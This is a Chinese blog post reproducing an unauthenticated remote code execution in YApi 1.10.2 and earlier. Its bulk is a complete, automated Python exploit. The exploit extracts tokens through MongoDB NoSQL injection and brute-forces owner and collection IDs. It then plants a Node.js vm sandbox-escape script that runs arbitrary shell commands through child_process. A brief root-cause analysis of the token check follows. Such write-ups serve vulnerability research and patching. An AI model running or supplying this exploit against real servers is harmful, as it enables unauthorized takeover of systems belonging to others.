YApi 1.10.2 Unauthenticed RCE Via NoSQL Injection - Boogiepop Doesn't Laugh

影响版本

Yapi <=1.10.2

漏洞复现

使用vulhub搭建环境复现，exp如下

import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''


def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()


def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
    ct = unpadder.update(ct) + unpadder.finalize()
    return ct.decode().strip()


def brute_token(target, already):
    url = urljoin(target, '/api/interface/up')
    current = '^'
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
                'id': -1,
                'token': {
                    '$regex': guess,
                    '$nin': already
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
            response = requests.post(url,
                                     data=json.dumps(data),
                                     headers=headers,
                                     # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                     # verify=False,
                                     )
            res = response.json()

            if res['errcode'] == 400:
                current = guess
                break

        logger.debug(f'current cuess: {current}')

    return current[1:]


def find_owner_uid(target, token):
    url = urljoin(target, '/api/project/get')
    for i in range(1, 200):
        params = {'token': aes_encode(f'{i}|{token}')}
        response = requests.get(url, params=params,
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )
        data = response.json()
        if data['errcode'] == 0:
            return i

    return None


def find_project(target, token, pid=None):
    url = urljoin(target, '/api/project/get')
    params = {'token': token}
    if pid:
        params['id'] = pid

    response = requests.get(url,
                            params=params,
                            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            #verify=False,
                            )
    data = response.json()

    if data['errcode'] == 0:
        return data['data']


def find_col(target, token, brute_from, brute_to):
    url = urljoin(target, '/api/open/run_auto_test')

    for i in range(brute_from, brute_to):
        try:
            params = {'token': token, 'id': i, "mode": "json"}
            response = requests.get(url,
                                    params=params,
                                    timeout=5,
                                    #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                    #verify=False,
                                    )

            data = response.json()
            if 'message' not in data:
                continue

            if data['message']['len'] > 0:
                logger.debug('Test Result Found: %r', response.url)
                yield i
        except requests.exceptions.Timeout:
            logger.debug('id=%d timeout', i)
            pass


def update_project(target, token, project_id, command):
    url = urljoin(target, '/api/project/up')

    command_hex = command.encode().hex()
    script = script_template % command_hex
    response = requests.post(url,
                             params={'token': token},
                             json={'id': project_id, 'after_script': script},
                             # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                             # verify=False,
                             )
    data = response.json()
    return data['errcode'] == 0


def run_auto_test(target, token, col_id):
    url = urljoin(target, '/api/open/run_auto_test')

    response = requests.get(url, 
                            params={'token': token, 'id': col_id, 'mode': 'json'},
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )

    try:
        data = response.json()
        return data['list'][0]['res_body'][8:-8]
    except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
        g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
        if g:
            return g.group(1).decode()
        else:
            return None


def clear_project(target, token, project_id, old_after_script):
    url = urljoin(target, '/api/project/up')
    response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
    data = response.json()
    return data['errcode'] == 0


@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
    if debug:
        logger.setLevel('DEBUG')


@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
    click.echo(aes_encode(data))


@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
    click.echo(aes_decode(data))


@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            break

        click.echo(f'find a valid token: {token}')
        already.append(token)


@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
    aid = find_owner_uid(url, token)
    e = aes_encode(f'{aid}|{token}')
    click.echo(f'your owner id is: {aid}, encrypted token is {e}')


@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token)
    if project:
        logger.info('[+] project by this token: %r', project)
        click.echo(f'your project id is: {project["_id"]}')


@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
    token = aes_encode(f'{owner}|{token}')
    for i in find_col(url, token, brute_from, brute_to):
        click.echo(f'found a valid col id: {i}')


@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token, project_id)
    if not project:
        click.echo('[-] failed to get project')
        return False

    old_after_script = project.get('after_script', '')
    if not update_project(url, token, project_id, command):
        click.echo('[-] failed to update project')
        return False

    output = run_auto_test(url, token, col_id)
    if output:
        click.echo(output)
        clear_project(url, token, project_id, old_after_script)
        return True

    clear_project(url, token, project_id, old_after_script)
    return False


@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            logger.info('[-] no new token found, exit...')
            break

        already.append(token)
        logger.info('[+] find a new token: %s', token)
        owner_id = find_owner_uid(url, token)
        if not owner_id:
            logger.info('[-] failed to find the owner id using token %s', token)
            continue

        etoken = aes_encode(f'{owner_id}|{token}')
        logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
        project = find_project(url, etoken)
        if not project:
            logger.info('[-] failed to find project using token %s', token)
            continue

        project_id = project['_id']
        logger.info('[+] project_id = %s, project = %r', project_id, project)
        col_ids = find_col(url, etoken, 1, 200)
        if not col_ids:
            logger.info('[+] failed to find cols in project %s, try next project...', project_id)

        for col_id in col_ids:
            logger.info('[+] col_id = %s', col_id)
            click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
            click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

            if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
                return


if __name__ == '__main__':
    cli()

这个脚本写的比较详细和实用。内置几个板块

dec和enc是用来加解密token的，我们先利用nosql注入可以注出token
python poc.py --debug one4all -u [http://127.0.0.1:3000/](http://127.0.0.1:3000/)

获取到token后利用vm沙盒逃逸去rce。

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'

复现起来比较简单，分析一下原因。

漏洞成因

在代码的base.js有一段逻辑

if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {
      
      let tokens = parseToken(token)

      const oldTokenUid = '999999'

      let tokenUid = oldTokenUid;

      if(!tokens){
        let checkId = await this.getProjectIdByToken(token);
        if(!checkId)return;
      }else{
        token = tokens.projectToken;
        tokenUid = tokens.uid;
      }

      // if (this.$auth) {
      //   ctx.params.project_id = await this.getProjectIdByToken(token);

      //   if (!ctx.params.project_id) {
      //     return (this.$tokenAuth = false);
      //   }
      //   return (this.$tokenAuth = true);
      // }
      
      let checkId = await this.getProjectIdByToken(token);
      if(!checkId){
        ctx.body = yapi.commons.resReturn(null, 42014, 'token 无效');
      }
      let projectData = await this.projectModel.get(checkId);
      if (projectData) {
        ctx.query.pid = checkId; // 兼容：/api/plugin/export
        ctx.params.project_id = checkId;
        this.$tokenAuth = true;
        this.$uid = tokenUid;
        let result;
        if(tokenUid === oldTokenUid){
          result = {
            _id: tokenUid,
            role: 'member',
            username: 'system'
          }
        }else{
          let userInst = yapi.getInst(userModel); //创建user实体
          result = await userInst.findById(tokenUid);
        }
        
        this.$user = result;
        this.$auth = true;
      }
    }
  }

可以看到假如不为open接口，那就需要通过token的鉴权getProjectIdByToken

async getProjectIdByToken(token) {
    let projectId = await this.tokenModel.findId(token);
    if (projectId) {
      return projectId.toObject().project_id;
    }
  }

调用了findId去查找project，问题也就出在这里了。token的类型没有做限制

findId(token) {
  return this.model
    .findOne({
      token: token
    })
    .select('project_id')
    .exec();
}

假如token为{"$ne":"xxx"}那么就可以进行nosql注入了。我们获取了token后就可以访问一些授权接口了。

runautotest是一个需要授权的接口

if (!this.$tokenAuth) {
      return (ctx.body = yapi.commons.resReturn(null, 40022, 'token 验证失败'));
    }

首先鉴定token是否正确。上一步我们是可以伪造token的，因此可以访问该接口

在这段代码中我们可以传入pre_script去handleTest方法内。

会进入crossRequest内。

进入sandbox函数进行沙盒执行

用的是vm模块，因此存在逃逸命令执行。

对应project的settings板块，可以看到有pre和after 2个script。